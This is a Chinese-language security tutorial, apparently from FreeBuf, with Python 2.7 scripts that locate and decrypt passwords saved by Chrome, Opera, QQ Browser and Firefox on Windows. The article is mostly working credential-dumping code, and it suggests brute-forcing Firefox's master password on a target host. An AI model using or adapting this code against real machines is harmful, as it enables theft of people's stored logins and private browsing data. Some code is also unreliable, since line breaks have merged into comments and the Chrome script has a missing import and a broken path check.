前言

早就听闻FreeBuf评论区大神多,作为一个菜鸟,在极度惶恐下发表这篇文章只为抛砖引玉,让众多萌新开阔视野。

本文将会演示怎样使用Python导出Windows系统上浏览器保存的密码、书签、浏览历史等敏感数据。由于时间和个人能力关系,所涉及的浏览器种类、版本有限,还望有大神不吝赐教。

环境搭建

首先Python环境是必不可少的,强烈推荐使用32位2.7版本(即使你的系统是64位),可免去不少麻烦!

然后你需要安装以下库(使用pip快速安装)。

pywin32

#下载对应版本并安装 https://sourceforge.net/projects/pywin32/files/pywin32/ 

shutil:

#(非必要,在本文所含代码中仅用来拷贝文件,可使用以下代码代替) import os
os.system('copy file directory') 

pyasn1:

#(必要,除非你想造轮子) pip install pyasn1 #测试安装是否成功 from pyasn1.codec.der import decoder 

PyCrypto::

#请确保你使用的Python是32位的,不然会遇到兼容问题 #请确保你下载了Visual Studio Community 2015 : https://www.visualstudio.com/zh-hans/downloads/ #安装VS的时候请确保勾选Visual C++,Python Tools for Visual Studio  #在“..python安装路径...\Lib\distutils目录下有个msvc9compiler.py找到243行                     toolskey = "VS%0.f0COMNTOOLS" % version   直接改为 toolskey = "VS140COMNTOOLS" pip install pycrypto #测试是否安装成功 from Crypto.Cipher import DES3 #报错的话,先卸载 pip uninstall pycrypto #再选择对应编译版下载后安装: http://www.voidspace.org.uk/python/modules.shtml#pycrypto #以上可解决99%安装不成功的问题,还有1%是文件夹名大小写问题

Chrome、Opera和QQ浏览器

首先,找到浏览器保存数据库的位置

#默认位置在:Chrome:C:\Users\当前用户名\AppData\Local\Google\Chrome\User Data\Default #           Opera: C:\Users\当前用户名\AppData\Roaming\Opera Software\Opera Stable #           QQ   : C:\Users\当前用户名\AppData\Local\Tencent\QQBrowser\User Data\Default #          登录QQ后:C:\Users\hasee-pc\AppData\Local\Tencent\QQBrowser\User Data\Default\QQ号码 #保存的密码:Chrome&Opera:Login Data #             QQ Browser:EncryptedStorage #书签:Bookmarks #浏览历史:History #使用Python获取路径 import os
os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default') 

分析数据库

可以使用一款名叫DB Browser的程序查看数据库结构(http://sqlitebrowser.org/)。

以下为Chrome Login Data结构:

捕获1.PNG

打开文件后,选择Browser Data即可看到储存的数据,其中password_value已加密,可使用win32crypt.CryptUnprotectData()解密

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

解密

注意,当Chrome在运行的时候,数据库会无法访问,这时候可以把数据库拷贝到一个临时文件夹,读取完成后再删除即可完整代码如下:

#Dump saved password from Chrome import os import shutil import win32crypt class Chrome:     def get_pwd(self):         path_tab = [
            os.path.expanduser('~\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data'), 
            os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data')
        ]
        data_path = [path for path in path_tab if os.path.exists(path)]
        if not data_path:
            debug_info = '[-]Chrome data not found.'             return         #More than 1 path valid         if len(data_path) != 1:
            data_path = data_path[0]

        #Copy file Login Data to avoid locking         try:
            shutil.copy(data_path, os.getcwd() + '\\' + 'db_copy') #os.sep = \\             data_path = os.getcwd() + '\\' + 'db_copy'         except Exception,e:
            debug_info = '[-]An error occured when copying Login Data:' + e

        try:
            conn = sqlite3.connect(data_path)
            cursor = conn.cursor()
        except Exception,e:
            debug_info = '[-]An error occured when opening database file:' + e
            return         cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
        chrome_pwd = []
        for res in cursor.fetchall():
            values = {}

            #Decryption             try:
                pwd = win32crypt.CryptUnprotectData(res[2], None, None, None, 0)[1]
            except Exception,e:
                pwd = ''                 debug_info = '[-]An error occured when decrypting password'             values['URL'] = res[0]
            values['ID'] = res[1]
            values['PWD'] = pwd
            chrome_pwd.append(values)

        conn.close()
        if data_path.endswith('db_copy'):
            os.remove(data_path)

        return chrome_pwd class Opera:     def get_path(self):         data_path = os.path.expanduser('~\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data')
        if os.path.exists(data_path):
            return data_path
        else:
            return 

    def get_pwd(self):         path = self.get_path()
        conn = sqlite3.connect(path)
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value,password_value FROM logins')
        opera_pwd = []
        for value in cursor.fetchall():
            values = {}
            pwd = win32crypt.CryptUnprotectData(value[2],None,None,None,0)[1]
            if pwd:
                values['URL'] = value[0]
                values['ID'] = value[1]
                values['PWD'] = pwd
                opera_pwd.append(values)
            else:
                values['URL'] = value[0]
                values['ID'] = value[1]
                values['PWD'] = ''                 opera_pwd.append(values)
                
        return opera_pwd class Qq:     def __init__(self):         self.get_path()


    def get_path(self):         self.data_path = []
        for root,dirs,files in os.walk(os.path.expanduser('~\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default')):
            for file in files:
                if file == 'EncryptedStorage':
                    self.data_path.append(os.path.join(root,file))
        return self.data_path

    def get_pwd(self):         qq_pwd = []
        for path in self.data_path:
            shutil.copy(path, os.getcwd() + '\\' + 'db_copy') #os.sep = \\             path = os.getcwd() + '\\' + 'db_copy'             conn = sqlite3.connect(path)
            cursor = conn.cursor()
            cursor.execute('SELECT str1, str2, blob0 FROM entries')
            for res in cursor.fetchall():
                values = {}
                try:
                    pwd = win32crypt.CryptUnprotectData(res[2],None,None,None,0)[1]
                except:
                    pwd = ''                 values['URL'] = res[0]
                values['ID'] = res[1]
                values['PWD'] = pwd 
                qq_pwd.append(values)

            conn.close()
            os.remove(path)

        return qq_pwd
p = Chrome() #p = Opera(),p = Qq() for i in p.get_pwd():
    print i['URL'],i['ID'],i['PWD'] 

运行结果如下,为了保护隐私,输出结果已“打码”。

捕获.PNG

由于篇幅原因,就不贴导出书签和浏览历史的代码了,毕竟你连账号密码登录地址都知道,还有什么隐私是得不到的呢~~

Firefox

相比前三款浏览器,Firefox想获取密码要复杂得多,而且还有主密码这个无敌的设定。(推荐各位使用Firefox)

选项>>安全>>使用主密码

捕获2.PNG

以下代码仅能在未设定主密码的情况下成功运行导出密码,如果目标主机设定主密码,就只能先通过爆破或者字典猜解主密码,再去解密数据。

# inspired by pentestbox : pentestbox.org import os import json import hmac import shutil import sqlite3 import win32crypt from hashlib import sha1 from struct import unpack from base64 import b64decode from itertools import product from Crypto.Cipher import DES3 from pyasn1.codec.der import decoder from ConfigParser import RawConfigParser from binascii import hexlify, unhexlify from Crypto.Util.number import long_to_bytes  class Credentials(object):     def __init__(self, db):         global database_find
        self.db = db
        if os.path.isfile(db):
            f = open(db, 'r')
            tmp = f.read()
            if tmp:
                database_find = True             f.close() class Json_db(Credentials):     def __init__(self, profile):         db = profile + os.sep + "logins.json"         super(Json_db, self).__init__(db)
    
    def __iter__(self):         if os.path.exists(self.db):
            with open(self.db) as fh:
                data = json.load(fh)
                try:
                    logins = data["logins"]
                except:
                    raise Exception("Unrecognized format in {0}".format(self.db))
                
                for i in logins:
                    yield (i["hostname"], i["encryptedUsername"],   i["encryptedPassword"]) class Firefox:     def printASN1(self, d, l, rl):         type = ord(d[0])
        length = ord(d[1])
        if length&0x80 > 0: 
            nByteLength = length&0x7f             length = ord(d[2])  
            
            skip=1         else:
            skip=0    

        if type==0x30:
            seqLen = length
            readLen = 0             while seqLen>0:
                len2 = self.printASN1(d[2+skip+readLen:], seqLen, rl+1)
                seqLen = seqLen - len2
                readLen = readLen + len2
            return length+2         elif type==6: 
            return length+2         elif type==4: 
            return length+2         elif type==5: 
            
            return length+2         elif type==2: 
            return length+2         else:
            if length==l-2:
                self.printASN1( d[2:], length, rl+1)
                return length   
    def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData ):         
        hp = sha1( globalSalt+masterPassword ).digest()
        pes = entrySalt + '\x00'*(20-len(entrySalt))
        chp = sha1( hp+entrySalt ).digest()
        k1 = hmac.new(chp, pes+entrySalt, sha1).digest()
        tk = hmac.new(chp, pes, sha1).digest()
        k2 = hmac.new(chp, tk+entrySalt, sha1).digest()
        k = k1+k2
        iv = k[-8:]
        key = k[:24]

        return DES3.new( key, DES3.MODE_CBC, iv).decrypt(encryptedData)


    def extractSecretKey(self, globalSalt, masterPassword, entrySalt):         if unhexlify('f8000000000000000000000000000001') not in self.key3:
            return None         privKeyEntry = self.key3[ unhexlify('f8000000000000000000000000000001') ]
        saltLen = ord( privKeyEntry[1] )
        nameLen = ord( privKeyEntry[2] )
        privKeyEntryASN1 = decoder.decode( privKeyEntry[3+saltLen+nameLen:] )
        data = privKeyEntry[3+saltLen+nameLen:]
        self.printASN1(data, len(data), 0)
        entrySalt = privKeyEntryASN1[0][0][1][0].asOctets()
        privKeyData = privKeyEntryASN1[0][1].asOctets()
        privKey = self.decrypt3DES( globalSalt, masterPassword, entrySalt, privKeyData )
        self.printASN1(privKey, len(privKey), 0)

        privKeyASN1 = decoder.decode( privKey )
        prKey= privKeyASN1[0][2].asOctets()
        self.printASN1(prKey, len(prKey), 0)
        prKeyASN1 = decoder.decode( prKey )
        id = prKeyASN1[0][1]
        key = long_to_bytes( prKeyASN1[0][3] )

        return key

    def getShortLE(self, d, a):         return unpack('<H',(d)[a:a+2])[0]

    def getLongBE(self, d, a):         return unpack('>L',(d)[a:a+4])[0]

    def readBsddb(self, name):   
        f = open(name,'rb')
        
        header = f.read(4*15)
        magic = self.getLongBE(header,0)
        if magic != 0x61561:
            print_debug('WARNING', 'Bad magic number')
            return False         version = self.getLongBE(header,4)
        if version !=2:
            print_debug('WARNING', 'Bad version !=2 (1.85)')
            return False         pagesize = self.getLongBE(header,12)
        nkeys = self.getLongBE(header,0x38) 

        readkeys = 0         page = 1         nval = 0         val = 1         db1 = []
        while (readkeys < nkeys):
            f.seek(pagesize*page)
            offsets = f.read((nkeys+1)* 4 +2)
            offsetVals = []
            i=0             nval = 0             val = 1             keys = 0             while nval != val :
                keys +=1                 key = self.getShortLE(offsets,2+i)
                val = self.getShortLE(offsets,4+i)
                nval = self.getShortLE(offsets,8+i)
                offsetVals.append(key+ pagesize*page)
                offsetVals.append(val+ pagesize*page)  
                readkeys += 1                 i += 4             offsetVals.append(pagesize*(page+1))
            valKey = sorted(offsetVals)  
            for i in range( keys*2 ):
                f.seek(valKey[i])
                data = f.read(valKey[i+1] - valKey[i])
                db1.append(data)
            page += 1         f.close()
        db = {}

        for i in range( 0, len(db1), 2):
            db[ db1[i+1] ] = db1[ i ]

        return db  
    def get_path(self):         main_path = os.path.expanduser('~\\AppData\\Roaming\\Mozilla\\Firefox')
        cp = RawConfigParser()
        try:
            cp.read(os.path.join(main_path,'profiles.ini'))
        except:
            return []
        self.profile_list = []
        for section in cp.sections():
            if section.startswith('Profile'):
                if cp.has_option(section, 'Path'):
                    self.profile_list.append(os.path.join(main_path, cp.get(section, 'Path').strip()))

        return self.profile_list

    def get_pwd(self):         ffox_pwd = []
        for profile in self.get_path():
            if not os.path.exists(profile + os.sep + 'key3.db'):
                continue             self.key3 = self.readBsddb(profile + os.sep + 'key3.db')
            if not self.key3:
                continue             masterPassword = ''             pwdCheck = self.key3['password-check']  
            entrySaltLen = ord(pwdCheck[1])
            entrySalt = pwdCheck[3: 3+entrySaltLen]
            encryptedPasswd = pwdCheck[-16:]
            globalSalt = self.key3['global-salt']
            cleartextData = self.decrypt3DES( globalSalt, masterPassword, entrySalt, encryptedPasswd )

            credentials = Json_db(profile)
            key = self.extractSecretKey(globalSalt, masterPassword, entrySalt)
            for host,user,pwd in credentials:
                values = {}
                values['URL'] = host

                loginASN1 = decoder.decode(b64decode(user))
                iv = loginASN1[0][1][1].asOctets()
                ciphertext = loginASN1[0][2].asOctets()
                login = DES3.new(key,DES3.MODE_CBC,iv).decrypt(ciphertext)

                try:
                    nb = unpack('B',login[-1])[0]
                    values['ID'] = login[:-nb]
                except:
                    values['ID'] = login

                passwdASN1 = decoder.decode(b64decode(pwd))
                iv = passwdASN1[0][1][1].asOctets()
                ciphertext = passwdASN1[0][2].asOctets()
                password = DES3.new(key,DES3.MODE_CBC,iv).decrypt(ciphertext)

                try:
                    nb = unpack('B',password[-1])[0]
                    values['PWD'] = password[:-nb]
                except:
                    values['PWD'] = password
                if len(values):
                    ffox_pwd.append(values)

        return ffox_pwd

p = Firefox() print p.get_pwd() 

结语

就如开头所说,我发表这篇文章的初衷就是抛砖引玉,希望各位大神要喷,就用你们的程序来喷我。

对以上内容有任何疑问,欢迎在评论区留言,我会尽力为大家解答。

*本文原创作者:cDdubz8